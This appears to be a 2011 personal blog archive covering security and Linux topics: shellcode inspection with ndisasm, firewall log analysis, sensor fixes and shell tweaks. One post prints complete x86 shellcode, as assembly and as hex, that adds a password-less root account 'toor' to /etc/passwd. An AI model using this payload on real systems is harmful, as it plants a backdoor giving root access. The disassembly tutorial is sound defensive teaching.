Thursday, February 24, 2011

dangers of publicly disclosed weaponized exploits

POC (Proof Of Concept) exploits are very easy to find. One doesn't have to look further than a Google search for countless lists. Similarly, weaponized versions are also available through the same channels. Skiddies never had it so good when to comes to downloading, compiling and owning the next door neighbour's box. But sometimes such perfect pieces of art have a terrible secret.

Most skiddies never bother to even look at the code before compiling/running them. They just can't wait to see the familiar 'C:\..' or '#' prompts on their consoles. The payloads provided with any exploit can be a proper bind/reverse stager or it may even be a piece of malware!

Lets be honest and think like a skiddie for once. I want to pwn a box, I fire up nmap and see that port xxx is open on the other end. I google for a 'port xxx exploit' and get some code from a disclosure website written in C. Instructions say to compile and run. A small look at the code may not reveal any problems, at least with the higher level C but does the shellcode checkout?? For that matter it may well be a double edged sword. It could very well download something on the skiddie's box, run it and provide his system and the victim's system to the 'real' cracker.

There are ways by which one can analyze payloads by converting them back to assembly. By using a simple disassembler, the original assembly code can be rebuilt and understood.

As a simple example, lets take the following shellcode:


\x31\xc0\x40\x89\xc3\xcd\x80

Any shellcoder would easily recognize this as a simple exit() syscall shellcode used as a "hello world!" alternative in teaching shellcoding. All we need to do is to convert, write it as a binary file and disassemble it. The assembler we are going to use is ndisasm (Netwide Disassembler).

I have written a small python script for this very purpose:

#!/usr/bin/python
#s4ndman - shellcode to assembly conversion script for shellcode inspection.

#Requires: ndisasm

import os
import sys
import binascii

if len(sys.argv) < 2:
    print "[i]run syntax:"
    print "[i]"+sys.argv[0]+" hexcode"
    print "[i]example:"
    print "[i]"+sys.argv[0]+" \\x31\\xc0\\x40\\x89\\xc3\\xcd\\x80"
    sys.exit()

try:
    f = open("binary", "wb")
except:
    print "[-]file create error!"
    sys.exit()

hstring = sys.argv[1].replace("\\x","")
hstring = hstring.replace("x","")
print "[+]normalized hexstring: "+hstring
hexstring = binascii.a2b_hex(hstring)
f.write(hexstring)
f.close()

print "[++++++++++++++++ASM DUMP++++++++++++++++]"
os.system("ndisasm -b 32 binary")
print "[++++++++++++++++ASM DUMP++++++++++++++++]"

os.system("rm binary")

sys.exit()
Lets try it shall we:
└─>>$] python2 shellcode_2_asm.py \x31\xc0\x40\x89\xc3\xcd\x80
[+]normalized hexstring: 31c04089c3cd80
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000  31C0              xor eax,eax
00000002  40                   inc eax
00000003  89C3              mov ebx,eax
00000005  CD80              int 0x80
[++++++++++++++++ASM DUMP++++++++++++++++]
And there we go, the 32bit exit() syscall assembly.

Also we can take the alphanumeric version of the shellcode I posted a while back and get the same output:

python2 shellcode_2_asm.py \xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23
[+]normalized hexstring: eb385e31c088460b88462bc6462a0a8d5e0c895e2c8d1e66b9420466baa401b005cd8089c331d28b4e2cb21fb004cd80b006cd80b00131dbcd80e8c3ffffff2f6574632f70617373776423746f6f723a3a303a303a743030723a2f726f6f743a2f62696e2f626173682023
[++++++++++++++++ASM DUMP++++++++++++++++]
00000000  EB38              jmp short 0x3a
00000002  5E                  pop esi
00000003  31C0              xor eax,eax
00000005  88460B          mov [esi+0xb],al
00000008  88462B          mov [esi+0x2b],al
0000000B  C6462A0A      mov byte [esi+0x2a],0xa
0000000F  8D5E0C          lea ebx,[esi+0xc]
00000012  895E2C           mov [esi+0x2c],ebx
00000015  8D1E              lea ebx,[esi]
00000017  66B94204       mov cx,0x442
0000001B  66BAA401       mov dx,0x1a4
0000001F  B005              mov al,0x5
00000021  CD80              int 0x80
00000023  89C3              mov ebx,eax
00000025  31D2              xor edx,edx
00000027  8B4E2C          mov ecx,[esi+0x2c]
0000002A  B21F              mov dl,0x1f
0000002C  B004              mov al,0x4
0000002E  CD80              int 0x80
00000030  B006              mov al,0x6
00000032  CD80              int 0x80
00000034  B001              mov al,0x1
00000036  31DB              xor ebx,ebx
00000038  CD80              int 0x80
0000003A  E8C3FFFFFF    call dword 0x2
0000003F  2F                  das                 /*NOTE: This point onwards is the string
00000040  657463          gs jz 0xa6       *db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'.
00000043  2F                  das                 *The disassembler assumes the string as instructions
00000044  7061              jo 0xa7           *and creates the assembly for it.
00000046  7373              jnc 0xbb          *So it is safe to ignore all the code below.
00000048  .........
[++++++++++++++++ASM DUMP++++++++++++++++]

A few points to note here:
1. The script assumes 32 bit shellcode, to vary it for 64 bit, change the line "ndisasm -b 32 binary" to "ndisasm -b 64 binary"
2. Downloading and running exploits should be done with utmost caution and if possible use custom payloads.
3. DONT BE A SKIDDIE!

Wednesday, February 23, 2011

examining firewall log entries...

While going through the usual iptables log, its pretty interesting to see what all lurks out on the world wide web. There are some usual and unusual entries such as:

localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xxx.xxx.xx.x DST=yyy.yyy.yyy.yyy LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=61742 DF PROTO=TCP SPT=4993 DPT=23 SEQ=2106909432 ACK=0 WINDOW=5808 RES=0x00 SYN URGP=0 OPT (020405AC0402080A012E13D60000000001030300)

localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xx.xxx.xxx.x DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=95 ID=256 PROTO=TCP SPT=6000 DPT=1433 SEQ=2031616000 ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0

localhost kernel: iptables DENIED: IN=ppp0 OUT= MAC= SRC=xxx.xxx.xx.xxx DST=yyy.yyy.yyy.yyy LEN=40 TOS=0x00 PREC=0x00 TTL=119 ID=256 DF PROTO=TCP SPT=12200 DPT=1080 SEQ=474681 ACK=0 WINDOW=8192 RES=0x00 SYN URGP=0

Which upon analysis reveal some pretty interesting facts...

1. Firstly I notice a lot of TCP Syn packets being denied at ports 1080, 3128, 8000, 8080 etc
2. Also a lot of attempts at ports 1433, 1434
3. And finally some random attempts at 22, 23, 25

Whats interesting is that all the source IPs are random and in some situations, there is a flag on 2 ports per IP.


These are what I think may be the causes:

1. A simple lookup would reveal the purpose of these ports as the following:
1080 : socks
3128 : squid-http
8000 : http-alt
8080 : http-proxy
With this, one can easily deduce that many systems over the web are intentionally/unintentionally checking for open proxies on random IP addresses. These may be normal boxes with scripts/programs running that generate random IPs or using old server connection logs. They may also be infected systems with malware performing the same task. This is one of the many ways lists of open proxies surface on underground websites.

2. These are the ports on which Microsoft SQL server typically listens on and may well be sought after by full blown malware looking for newer prey or automated scans running on a cracker's box.

3. These are usually ports for the typical ssh, telnet and smtp services and are most probably being scanned for vulnerabilities or vulnerable configurations by malware on rooted boxes or automated/active scans running on a cracker's box.

Its quite funny to see the intensity of these reports on the logs. Quite a few popup every hour or so. It is a reminder that a by just connecting a system to the internet without properly securing it can be pretty fatal. Its a dangerous WWW out there and web safety requires proper measures to be taken before connecting the wire

Saturday, February 12, 2011

python proxy tester

Getting hold of proxy lists is a not a problem these days. A lot of websites provide pages upon pages of proxies but the issue arises when more than 60-70% of them don't work. Sitting and testing each one can be a pain so to ease the issue, I fired up medit and wrote the following script.

The script takes input as a file with the structure:
[ip]:[port]

code: http://pastebin.com/w5iardS4

lm_sensors and Tjunction-max

Recently, the temperature values being reported by lm_sensors on my linux-lap were becoming a point of concern. The fan and heatsink assembly had just been cleaned a few days earlier but still lm_sensors reported my CPU was at ~70C while idling! Even considering the fact that I live in a hot part of the world, the values were too high for this time of the year and for an idling CPU. Checking the logs and a bit of web research revealed the culprit:

 └─>>$] dmesg | grep Tj
coretemp coretemp.0: TjMax is assumed as 100 C!
coretemp coretemp.1: TjMax is assumed as 100 C!


The Intel datasheet for a T5750 processor reports the designed Tj-max as 85C but gets detected as 100C, so lm_sensors was reporting the values with a +15C offset.

The bug seems to be in a recent git commit as explained in this thread: https://bbs.archlinux.org/viewtopic.php?pid=829902#p829902
Tjunction explained: http://www.techreaction.net/2009/10/14/guide-to-understanding-intel-temperatures/

UPDATE:
FIX: After discussing the issue with the devs on IRC, a small fix was suggested. Worked for me.

edit '/etc/sensors3.conf' and add the lines 
chip "coretemp-*"
    compute temp1 @-15,@+15
    compute temp2 @-15,@+15

Thursday, February 10, 2011

some old shellcode...

Going through some old files, I came across some old shellcode I had written. Nothing special but a small payload to append the /etc/passwd file. To be honest its not even that great because to use it, you need an exploit that provides uid=0 such as a kernel null pointer dereference. Anyway, here is the code:

;append_passwd.asm
;Payload: Adds the string: [toor::0:0:t00r:/root:/bin/bash] to /etc/passwd thereby adding password-less root account with login name "toor"
;Platform: linux/x86
;Size: 107 bytes
;Author: $andman
;BEGIN CODE
Section .data
    global _start
_start:
    jmp short callfunc
func:
    pop         esi
    xor         eax, eax
    mov byte    [esi+11], al
    mov byte    [esi+43], al
    mov byte     [esi+42], 0xa
    lea        ebx, [esi+12]
    mov long    [esi+44],ebx
    lea        ebx,[esi]
    mov        cx,1090
    mov        dx,0x1a4
    mov        al,0x05
    int        0x80
    mov long    ebx, eax
    xor         edx,edx
    mov        ecx, [esi+44]
    mov         dl,31
    mov         al,0x04
    int        0x80
    mov        al,0x06
    int        0x80
    mov         al,0x01
    xor         ebx,ebx
    int        0x80
callfunc:
    call func
    db '/etc/passwd#toor::0:0:t00r:/root:/bin/bash #XXXX'
;CODE END

The compiled, alphanumeric code can be taken from exploitdb:
http://www.exploit-db.com/exploits/13579/

Wednesday, February 9, 2011

sfuzz, a mutation file format fuzzer

I thought I might as well publish some code, well here is a little something I have been working on. A simple mutation fuzzer. It just does _dumb_ fuzzing for now but I intend to improve it for structural correctness while fuzzing and smarter fault injections. Not yet completed but It has already shown results, caused many apps to crash with mostly being Invalid reads and 1 Invalid write [dunno if exploitable? will check that out]. Anyway here is the code for the fuzzer. Also, I am thinking towards writing a smart generation fuzzer for structured non binaries. Anyway here is the code...

Source[Linux]:
http://pastebin.com/kVNyKsip

EDIT: A small bug... the randomization depends on the current time. This means to achieve a bit decent randomization, a sleep value of 1s is at least needed.

Multiple $PS1s with urxvt and xprop

Recently, I decided to embed terminals in my desktop and preferred that the prompt for them should be different than for a normal terminal window. It took a while but I finally achieved it. Embedding the terminals was easy as explained here:

https://wiki.archlinux.org/index.php/Openbox#Urxvt_in_the_background

and as for the different $PS1 prompts, I just modified my .bashrc with the following condition:

#BEGIN CODE#

winId=$(xprop -id $WINDOWID | grep "URxvtbg")

if [ "$winId" == "" ]
then
PS1="┌─\[\e[1;36m\][\u@\h]\[\e[m\].:\[\e[0;36m\][$(date +"%d/%m/%y-(%T)")]\[\e[m\]:.\[\e[1;36m\][\w]\[\e[m\]\n└─>>\[\e[1;32m\]$\[\e[m\]] "
else
PS1='[\u@\h \W]\$ '
fi

#END CODE#

Basically, what this does is that it gets the window information from xprop using the $WINDOWID bash variable and looks for the specific name* that was assigned to this terminal. If found, applies a specific $PS1 value and if not, applies the other.

*Refer urxvt's man page for the switch '-name'.

Sunday, February 6, 2011

Fortune for you!!

Almost all linux users are familiar with the fortune program. For new users, here is a small snippet:

Name:
fortune - print a random, hopefully interesting, adage

Description from the man page:
When fortune is run with no arguments it prints out a random epigram. Epigrams are divided into several categories.

Well, in order to fully utilize the program, I went ahead and wrote a small script that automatically displayed a random fortune everytime I logged in. Here is the script and all it requires is the notification daemon to be installed for your particular wm.

#!/bin/bash
sleep 3
notify-send "Hello $(whoami), Your Daily Fortune..." "$(fortune)"

Save it as fortune.sh and mark it as executable by:

chmod +x fortune.sh

and just add it to the post login scripts in your particular wm, openbox in my case so '~/.config/openbox/autostart.sh'

Dreamers and Artists of our time...

There were the greats of old such as Picaso, Rembrandt, Dali etc etc... but of our time in the digital age, they still exist. I would just like to direct people to such masters of our time. Their mind and work produce awe to the colorful earth around us. I salute to them as their work has inspired me and artists all over . Some of whom I know

Ryan Bliss : Digital Blasphemy
Greg Marting : Art Of Greg Martin
Gary Tonge : Vision Afar
Rudolf Herczog : Rochr
Bjørn Breivik : http://breivik.deviantart.com/

and many more...